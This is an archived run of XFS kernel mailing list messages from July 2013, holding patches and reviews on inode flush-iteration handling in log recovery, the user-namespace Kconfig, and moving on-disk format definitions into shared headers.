X-Barracuda-Start-Time: 1374641574 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137263 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Signed-off-by: Dwight Engen --- init/Kconfig | 15 +-------------- 1 file changed, 1 insertion(+), 14 deletions(-) diff --git a/init/Kconfig b/init/Kconfig index 247084b..a380f12 100644 --- a/init/Kconfig +++ b/init/Kconfig @@ -1106,7 +1106,6 @@ config IPC_NS config USER_NS bool "User namespace" - depends on UIDGID_CONVERTED select UIDGID_STRICT_TYPE_CHECKS default n @@ -1140,21 +1139,9 @@ config NET_NS endif # NAMESPACES -config UIDGID_CONVERTED - # True if all of the selected software conmponents are known - # to have uid_t and gid_t converted to kuid_t and kgid_t - # where appropriate and are otherwise safe to use with - # the user namespace. - bool - default y - - # Filesystems - depends on XFS_FS = n - config UIDGID_STRICT_TYPE_CHECKS bool "Require conversions between uid/gids and their internal representation" - depends on UIDGID_CONVERTED - default n + default y help While the nececessary conversions are being added to all subsystems this option allows the code to continue to build for unconverted subsystems. -- 1.8.1.4 From dave@fromorbit.com Wed Jul 24 00:47:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B39A97F69 for ; Wed, 24 Jul 2013 00:47:39 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 83D908F8035 for ; Tue, 23 Jul 2013 22:47:36 -0700 (PDT) X-ASG-Debug-ID: 1374644854-04bdf0245e34b310001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id dn2Nj3BEjm4GodZW for ; Tue, 23 Jul 2013 22:47:34 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlEGADdp71F5LPxH/2dsb2JhbABbgwbDFhd0giQBLS87GGoDNIgPmAOgNo5FARKFKQOiAYcrgyYqgSwBAR4 Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail07.adl2.internode.on.net with ESMTP; 24 Jul 2013 15:17:33 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V1rv8-0000YO-F6 for xfs@oss.sgi.com; Wed, 24 Jul 2013 15:47:30 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V1rv8-0001RU-E1 for xfs@oss.sgi.com; Wed, 24 Jul 2013 15:47:30 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH] xfs: di_flushiter considered harmful Date: Wed, 24 Jul 2013 15:47:30 +1000 X-ASG-Orig-Subj: [PATCH] xfs: di_flushiter considered harmful Message-Id: <1374644850-5512-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1374644854 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137263 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner When we made all inode updates transactional, we no longer needed the log recovery detection for inodes being newer on disk than the transaction being replayed - it was redundant as replay of the log would always result in the latest version of the inode woul dbe on disk. It was redundant, but left in place because it wasn't considered to be a problem. However, with the new "don't read inodes on create" optimisation, flushiter has come back to bite us. Essentially, the optimisation made always initialises flushiter to zero in the create transaction, and so if we then crash and run recovery and the inode already on disk has a non-zero flushiter it will skip recovery of that inode. As a result, log recovery does the wrong thing and we end up with a corrupt filesystem. Because we have to support old kernel to new kernl upgrades, we can't just get rid of the flushiter support in log recovery as we might be upgrading from a kernel that doesn't have fully transaction inode updates. Unfortunately, for v4 superblocks there is no way to guarantee that log recovery knows about this fact. We cannot add a new inode format flag to say it's a "special inode create" because it won't be understood by older kernels and so recovery could do the wrong thing on downgrade. We cannot specially detect the combination of zero mode/non-zero flushiter on disk to non-zero mode, zero flushiter in the log item during recovery because wrapping of the flushiter can result in false detection. Hence that makes this "don't use flushiter" optimisation limited to a disk format that guarantees that we don't need it. And that means the only fix here is to limit the "no read IO on create" optimisation to version 5 superblocks.... Signed-off-by: Dave Chinner --- fs/xfs/xfs_dinode.h | 3 +++ fs/xfs/xfs_inode.c | 31 ++++++++++++++++++++++--------- fs/xfs/xfs_log_recover.c | 13 +++++++++++-- 3 files changed, 36 insertions(+), 11 deletions(-) diff --git a/fs/xfs/xfs_dinode.h b/fs/xfs/xfs_dinode.h index 07d735a..e5869b5 100644 --- a/fs/xfs/xfs_dinode.h +++ b/fs/xfs/xfs_dinode.h @@ -39,6 +39,9 @@ typedef struct xfs_timestamp { * There is a very similar struct icdinode in xfs_inode which matches the * layout of the first 96 bytes of this structure, but is kept in native * format instead of big endian. + * + * Note: di_flushiter is only used by v1/2 inodes - it's effectively a zeroed + * padding field for v3 inodes. */ typedef struct xfs_dinode { __be16 di_magic; /* inode magic # = XFS_DINODE_MAGIC */ diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index b78481f..bb262c2 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -896,7 +896,6 @@ xfs_dinode_to_disk( to->di_projid_lo = cpu_to_be16(from->di_projid_lo); to->di_projid_hi = cpu_to_be16(from->di_projid_hi); memcpy(to->di_pad, from->di_pad, sizeof(to->di_pad)); - to->di_flushiter = cpu_to_be16(from->di_flushiter); to->di_atime.t_sec = cpu_to_be32(from->di_atime.t_sec); to->di_atime.t_nsec = cpu_to_be32(from->di_atime.t_nsec); to->di_mtime.t_sec = cpu_to_be32(from->di_mtime.t_sec); @@ -924,6 +923,9 @@ xfs_dinode_to_disk( to->di_lsn = cpu_to_be64(from->di_lsn); memcpy(to->di_pad2, from->di_pad2, sizeof(to->di_pad2)); uuid_copy(&to->di_uuid, &from->di_uuid); + to->di_flushiter = 0; + } else { + to->di_flushiter = cpu_to_be16(from->di_flushiter); } } @@ -1029,10 +1031,14 @@ xfs_dinode_calc_crc( /* * Read the disk inode attributes into the in-core inode structure. * - * If we are initialising a new inode and we are not utilising the - * XFS_MOUNT_IKEEP inode cluster mode, we can simple build the new inode core - * with a random generation number. If we are keeping inodes around, we need to - * read the inode cluster to get the existing generation number off disk. + * For version 5 superblocks, if we are initialising a new inode and we are not + * utilising the XFS_MOUNT_IKEEP inode cluster mode, we can simple build the new + * inode core with a random generation number. If we are keeping inodes around, + * we need to read the inode cluster to get the existing generation number off + * disk. Further, if we are using version 4 superblocks (i.e. v1/v2 inode + * format) then log recovery is dependent on the di_flushiter field being + * initialised from the current on-disk value and hence we must also read the + * inode off disk. */ int xfs_iread( @@ -1054,6 +1060,7 @@ xfs_iread( /* shortcut IO on inode allocation if possible */ if ((iget_flags & XFS_IGET_CREATE) && + xfs_sb_version_hascrc(&mp->m_sb) && !(mp->m_flags & XFS_MOUNT_IKEEP)) { /* initialise the on-disk inode core */ memset(&ip->i_d, 0, sizeof(ip->i_d)); @@ -2882,12 +2889,18 @@ xfs_iflush_int( __func__, ip->i_ino, ip->i_d.di_forkoff, ip); goto corrupt_out; } + /* - * bump the flush iteration count, used to detect flushes which - * postdate a log record during recovery. This is redundant as we now - * log every change and hence this can't happen. Still, it doesn't hurt. + * Inode item log recovery for v1/v2 inodes are dependent on the + * di_flushiter count for correct sequencing. We bump the flush + * iteration count so we can detect flushes which postdate a log record + * during recovery. This is redundant as we now log every change and + * hence this can't happen but we need to still do it to ensure + * backwards compatibility with old kernels that predate logging all + * inode changes. */ - ip->i_d.di_flushiter++; + if (ip->i_d.di_version < 3) + ip->i_d.di_flushiter++; /* * Copy the dirty parts of the inode into the on-disk diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c index 6fcc910a..7681b19 100644 --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -2592,8 +2592,16 @@ xlog_recover_inode_pass2( goto error; } - /* Skip replay when the on disk inode is newer than the log one */ - if (dicp->di_flushiter < be16_to_cpu(dip->di_flushiter)) { + /* + * di_flushiter is only valid for v1/2 inodes. All changes for v3 inodes + * are transactional and if ordering is necessary we can determine that + * more accurately by the LSN field in the V3 inode core. Don't trust + * the inode versions we might be changing them here - use the + * superblock flag to determine whether we need to look at di_flushiter + * to skip replay when the on disk inode is newer than the log one + */ + if (!xfs_sb_version_hascrc(&mp->m_sb) && + dicp->di_flushiter < be16_to_cpu(dip->di_flushiter)) { /* * Deal with the wrap case, DI_MAX_FLUSH is less * than smaller numbers @@ -2608,6 +2616,7 @@ xlog_recover_inode_pass2( goto error; } } + /* Take the opportunity to reset the flush iteration count */ dicp->di_flushiter = 0; -- 1.8.3.2 From bfoster@redhat.com Wed Jul 24 07:12:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D0B647F6A for ; Wed, 24 Jul 2013 07:12:46 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id A757D304066 for ; Wed, 24 Jul 2013 05:12:43 -0700 (PDT) X-ASG-Debug-ID: 1374667962-04bdf0245d365c50001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id qCjZwvo8HerJwxtW for ; Wed, 24 Jul 2013 05:12:42 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6OCCdKi028791 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 24 Jul 2013 08:12:39 -0400 Received: from laptop.bfoster (vpn-59-178.rdu2.redhat.com [10.10.59.178]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id r6OCCcan003079 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 24 Jul 2013 08:12:39 -0400 Message-ID: <51EFC3F4.7040408@redhat.com> Date: Wed, 24 Jul 2013 08:09:24 -0400 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 05/49] xfs: separate dquot on disk format definitions out of xfs_quota.h References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-6-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 05/49] xfs: separate dquot on disk format definitions out of xfs_quota.h In-Reply-To: <1374215120-7271-6-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1374667962 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 07/19/2013 02:24 AM, Dave Chinner wrote: > From: Dave Chinner > > The on disk format definitions of the on-disk dquot, log formats and > quota off log formats are all intertwined with other definitions for > quotas. Separate them out into their own header file so they can > easily be shared with userspace. > > Signed-off-by: Dave Chinner > --- ... > diff --git a/fs/xfs/xfs_quota.h b/fs/xfs/xfs_quota.h > index b14f42c..16bde32 100644 > --- a/fs/xfs/xfs_quota.h > +++ b/fs/xfs/xfs_quota.h > @@ -21,18 +21,6 @@ ... > - > -/* > - * Conversion to and from the combined OQUOTA flag (if necessary) > - * is done only in xfs_sb_qflags_to_disk() and xfs_sb_qflags_from_disk() > - */ > -#define XFS_GQUOTA_ENFD 0x0080 /* group quota limits enforced */ > -#define XFS_GQUOTA_CHKD 0x0100 /* quotacheck run on group quotas */ > -#define XFS_PQUOTA_ENFD 0x0200 /* project quota limits enforced */ > -#define XFS_PQUOTA_CHKD 0x0400 /* quotacheck run on project quotas */ > - > -/* > - * Quota Accounting/Enforcement flags > - */ A few minor whitespace diffs and the above comment was dropped. Looks fine to me: Reviewed-by: Brian Foster > -#define XFS_ALL_QUOTA_ACCT \ > - (XFS_UQUOTA_ACCT | XFS_GQUOTA_ACCT | XFS_PQUOTA_ACCT) > -#define XFS_ALL_QUOTA_ENFD \ > - (XFS_UQUOTA_ENFD | XFS_GQUOTA_ENFD | XFS_PQUOTA_ENFD) > -#define XFS_ALL_QUOTA_CHKD \ > - (XFS_UQUOTA_CHKD | XFS_GQUOTA_CHKD | XFS_PQUOTA_CHKD) > - > #define XFS_IS_QUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_ALL_QUOTA_ACCT) > #define XFS_IS_UQUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_UQUOTA_ACCT) > #define XFS_IS_PQUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_PQUOTA_ACCT) > diff --git a/fs/xfs/xfs_quotaops.c b/fs/xfs/xfs_quotaops.c > index 20e30f9..acf5071 100644 > --- a/fs/xfs/xfs_quotaops.c > +++ b/fs/xfs/xfs_quotaops.c > @@ -16,6 +16,7 @@ > * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > */ > #include "xfs.h" > +#include "xfs_format.h" > #include "xfs_sb.h" > #include "xfs_log.h" > #include "xfs_ag.h" > diff --git a/fs/xfs/xfs_rename.c b/fs/xfs/xfs_rename.c > index 30ff5f4..0c1f8ef 100644 > --- a/fs/xfs/xfs_rename.c > +++ b/fs/xfs/xfs_rename.c > @@ -17,7 +17,7 @@ > */ > #include "xfs.h" > #include "xfs_fs.h" > -#include "xfs_types.h" > +#include "xfs_format.h" > #include "xfs_log.h" > #include "xfs_trans.h" > #include "xfs_sb.h" > diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c > index 1d68ffc..146e2c2 100644 > --- a/fs/xfs/xfs_super.c > +++ b/fs/xfs/xfs_super.c > @@ -17,6 +17,7 @@ > */ > > #include "xfs.h" > +#include "xfs_format.h" > #include "xfs_log.h" > #include "xfs_inum.h" > #include "xfs_trans.h" > diff --git a/fs/xfs/xfs_symlink.c b/fs/xfs/xfs_symlink.c > index f4895b6..80d550c 100644 > --- a/fs/xfs/xfs_symlink.c > +++ b/fs/xfs/xfs_symlink.c > @@ -18,7 +18,7 @@ > */ > #include "xfs.h" > #include "xfs_fs.h" > -#include "xfs_types.h" > +#include "xfs_format.h" > #include "xfs_bit.h" > #include "xfs_log.h" > #include "xfs_trans.h" > diff --git a/fs/xfs/xfs_trace.c b/fs/xfs/xfs_trace.c > index b6e3897..5d7b3e4 100644 > --- a/fs/xfs/xfs_trace.c > +++ b/fs/xfs/xfs_trace.c > @@ -18,6 +18,7 @@ > #include "xfs.h" > #include "xfs_fs.h" > #include "xfs_types.h" > +#include "xfs_format.h" > #include "xfs_log.h" > #include "xfs_trans.h" > #include "xfs_sb.h" > diff --git a/fs/xfs/xfs_trans.c b/fs/xfs/xfs_trans.c > index 35a2299..1d2a061 100644 > --- a/fs/xfs/xfs_trans.c > +++ b/fs/xfs/xfs_trans.c > @@ -18,7 +18,7 @@ > */ > #include "xfs.h" > #include "xfs_fs.h" > -#include "xfs_types.h" > +#include "xfs_format.h" > #include "xfs_log.h" > #include "xfs_trans.h" > #include "xfs_sb.h" > diff --git a/fs/xfs/xfs_trans_dquot.c b/fs/xfs/xfs_trans_dquot.c > index 61407a8..54ee3c5 100644 > --- a/fs/xfs/xfs_trans_dquot.c > +++ b/fs/xfs/xfs_trans_dquot.c > @@ -17,6 +17,7 @@ > */ > #include "xfs.h" > #include "xfs_fs.h" > +#include "xfs_format.h" > #include "xfs_log.h" > #include "xfs_trans.h" > #include "xfs_sb.h" > diff --git a/fs/xfs/xfs_types.h b/fs/xfs/xfs_types.h > index 39c48ca..69074ac 100644 > --- a/fs/xfs/xfs_types.h > +++ b/fs/xfs/xfs_types.h > @@ -177,4 +177,10 @@ struct xfs_name { > int len; > }; > > +/* > + * uid_t and gid_t are hard-coded to 32 bits in the inode. > + * Hence, an 'id' in a dquot is 32 bits.. > + */ > +typedef __uint32_t xfs_dqid_t; > + > #endif /* __XFS_TYPES_H__ */ > diff --git a/fs/xfs/xfs_utils.c b/fs/xfs/xfs_utils.c > index 0025c78..58386fa 100644 > --- a/fs/xfs/xfs_utils.c > +++ b/fs/xfs/xfs_utils.c > @@ -17,7 +17,7 @@ > */ > #include "xfs.h" > #include "xfs_fs.h" > -#include "xfs_types.h" > +#include "xfs_format.h" > #include "xfs_log.h" > #include "xfs_trans.h" > #include "xfs_sb.h" > diff --git a/fs/xfs/xfs_vnodeops.c b/fs/xfs/xfs_vnodeops.c > index dc730ac..c2d96cd 100644 > --- a/fs/xfs/xfs_vnodeops.c > +++ b/fs/xfs/xfs_vnodeops.c > @@ -19,7 +19,7 @@ > > #include "xfs.h" > #include "xfs_fs.h" > -#include "xfs_types.h" > +#include "xfs_format.h" > #include "xfs_bit.h" > #include "xfs_log.h" > #include "xfs_trans.h" > From bfoster@redhat.com Wed Jul 24 07:13:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1D8D57F76 for ; Wed, 24 Jul 2013 07:13:00 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1107B8F8049 for ; Wed, 24 Jul 2013 05:12:57 -0700 (PDT) X-ASG-Debug-ID: 1374667973-04cb6c2a4710ae2e0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id yGzDsnHyreNYfsxr for ; Wed, 24 Jul 2013 05:12:53 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6OCCpwV017236 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 24 Jul 2013 08:12:52 -0400 Received: from laptop.bfoster (vpn-59-178.rdu2.redhat.com [10.10.59.178]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id r6OCCoVN001742 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 24 Jul 2013 08:12:51 -0400 Message-ID: <51EFC401.20209@redhat.com> Date: Wed, 24 Jul 2013 08:09:37 -0400 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 06/49] xfs: separate icreate log format definitions from xfs_icreate_item.h References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-7-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 06/49] xfs: separate icreate log format definitions from xfs_icreate_item.h In-Reply-To: <1374215120-7271-7-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1374667973 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 07/19/2013 02:24 AM, Dave Chinner wrote: > From: Dave Chinner > > The on disk log format definitions for the icreate log item are > intertwined with the kernel-only in-memory log item definitions. > Separate the log format definitions out into their own header file > so they can easily be shared with userspace. > > Signed-off-by: Dave Chinner > --- Reviewed-by: Brian Foster > fs/xfs/xfs_icreate_item.h | 18 ------------------ > fs/xfs/xfs_log_format.h | 18 ++++++++++++++++++ > 2 files changed, 18 insertions(+), 18 deletions(-) > > diff --git a/fs/xfs/xfs_icreate_item.h b/fs/xfs/xfs_icreate_item.h > index 88ba8aa..59e89f8 100644 > --- a/fs/xfs/xfs_icreate_item.h > +++ b/fs/xfs/xfs_icreate_item.h > @@ -18,24 +18,6 @@ > #ifndef XFS_ICREATE_ITEM_H > #define XFS_ICREATE_ITEM_H 1 > > -/* > - * on disk log item structure > - * > - * Log recovery assumes the first two entries are the type and size and they fit > - * in 32 bits. Also in host order (ugh) so they have to be 32 bit aligned so > - * decoding can be done correctly. > - */ > -struct xfs_icreate_log { > - __uint16_t icl_type; /* type of log format structure */ > - __uint16_t icl_size; /* size of log format structure */ > - __be32 icl_ag; /* ag being allocated in */ > - __be32 icl_agbno; /* start block of inode range */ > - __be32 icl_count; /* number of inodes to initialise */ > - __be32 icl_isize; /* size of inodes */ > - __be32 icl_length; /* length of extent to initialise */ > - __be32 icl_gen; /* inode generation number to use */ > -}; > - > /* in memory log item structure */ > struct xfs_icreate_item { > struct xfs_log_item ic_item; > diff --git a/fs/xfs/xfs_log_format.h b/fs/xfs/xfs_log_format.h > index 5963ec7..02639c7 100644 > --- a/fs/xfs/xfs_log_format.h > +++ b/fs/xfs/xfs_log_format.h > @@ -602,4 +602,22 @@ typedef struct xfs_qoff_logformat { > #define XFS_ALL_QUOTA_CHKD \ > (XFS_UQUOTA_CHKD | XFS_GQUOTA_CHKD | XFS_PQUOTA_CHKD) > > +/* > + * Inode create log item structure > + * > + * Log recovery assumes the first two entries are the type and size and they fit > + * in 32 bits. Also in host order (ugh) so they have to be 32 bit aligned so > + * decoding can be done correctly. > + */ > +struct xfs_icreate_log { > + __uint16_t icl_type; /* type of log format structure */ > + __uint16_t icl_size; /* size of log format structure */ > + __be32 icl_ag; /* ag being allocated in */ > + __be32 icl_agbno; /* start block of inode range */ > + __be32 icl_count; /* number of inodes to initialise */ > + __be32 icl_isize; /* size of inodes */ > + __be32 icl_length; /* length of extent to initialise */ > + __be32 icl_gen; /* inode generation number to use */ > +}; > + > #endif /* __XFS_LOG_FORMAT_H__ */ > From bfoster@redhat.com Wed Jul 24 07:13:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B6C0C7F80 for ; Wed, 24 Jul 2013 07:13:07 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id A9F0B304066 for ; Wed, 24 Jul 2013 05:13:07 -0700 (PDT) X-ASG-Debug-ID: 1374667986-04cbb0468e1356900001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id VnjQFmhL4DLQHtoS for ; Wed, 24 Jul 2013 05:13:06 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6OCD5fZ017283 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 24 Jul 2013 08:13:05 -0400 Received: from laptop.bfoster (vpn-59-178.rdu2.redhat.com [10.10.59.178]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id r6OCD4LZ003195 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 24 Jul 2013 08:13:04 -0400 Message-ID: <51EFC40E.20101@redhat.com> Date: Wed, 24 Jul 2013 08:09:50 -0400 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 07/49] xfs: split out on-disk transaction definitions References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-8-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 07/49] xfs: split out on-disk transaction definitions In-Reply-To: <1374215120-7271-8-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1374667986 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 07/19/2013 02:24 AM, Dave Chinner wrote: > From: Dave Chinner > > There's a bunch of definitions in xfs_trans.h that define on-disk > formats - transaction headers taht get written into the log, log > item type definitions, etc. Split out everything into a separate > file so that all which remains in xfs_trans.h are kernel only > definitions. > > Also, remove the duplicate magic number definitions for > XFS_TRANS_HEADER_MAGIC... > > Signed-off-by: Dave Chinner > --- Removed XFS_TRANS_MAGIC, added missing XFS_LI_ICREATE description string, otherwise code shuffling: Reviewed-by: Brian Foster > fs/xfs/xfs_log_format.h | 206 ++++++++++++++++++++++++++++++++++++++++++++++++ > fs/xfs/xfs_trans.c | 4 +- > fs/xfs/xfs_trans.h | 205 ----------------------------------------------- > 3 files changed, 208 insertions(+), 207 deletions(-) > > diff --git a/fs/xfs/xfs_log_format.h b/fs/xfs/xfs_log_format.h > index 02639c7..faf3f43 100644 > --- a/fs/xfs/xfs_log_format.h > +++ b/fs/xfs/xfs_log_format.h > @@ -187,6 +187,212 @@ typedef struct xfs_log_iovec { > > > /* > + * Transaction Header definitions. > + * > + * This is the structure written in the log at the head of every transaction. It > + * identifies the type and id of the transaction, and contains the number of > + * items logged by the transaction so we know how many to expect during > + * recovery. > + * > + * Do not change the below structure without redoing the code in > + * xlog_recover_add_to_trans() and xlog_recover_add_to_cont_trans(). > + */ > +typedef struct xfs_trans_header { > + uint th_magic; /* magic number */ > + uint th_type; /* transaction type */ > + __int32_t th_tid; /* transaction id (unused) */ > + uint th_num_items; /* num items logged by trans */ > +} xfs_trans_header_t; > + > +#define XFS_TRANS_HEADER_MAGIC 0x5452414e /* TRAN */ > + > +/* > + * Log item types. > + */ > +#define XFS_LI_EFI 0x1236 > +#define XFS_LI_EFD 0x1237 > +#define XFS_LI_IUNLINK 0x1238 > +#define XFS_LI_INODE 0x123b /* aligned ino chunks, var-size ibufs */ > +#define XFS_LI_BUF 0x123c /* v2 bufs, variable sized inode bufs */ > +#define XFS_LI_DQUOT 0x123d > +#define XFS_LI_QUOTAOFF 0x123e > +#define XFS_LI_ICREATE 0x123f > + > +#define XFS_LI_TYPE_DESC \ > + { XFS_LI_EFI, "XFS_LI_EFI" }, \ > + { XFS_LI_EFD, "XFS_LI_EFD" }, \ > + { XFS_LI_IUNLINK, "XFS_LI_IUNLINK" }, \ > + { XFS_LI_INODE, "XFS_LI_INODE" }, \ > + { XFS_LI_BUF, "XFS_LI_BUF" }, \ > + { XFS_LI_DQUOT, "XFS_LI_DQUOT" }, \ > + { XFS_LI_QUOTAOFF, "XFS_LI_QUOTAOFF" }, \ > + { XFS_LI_ICREATE, 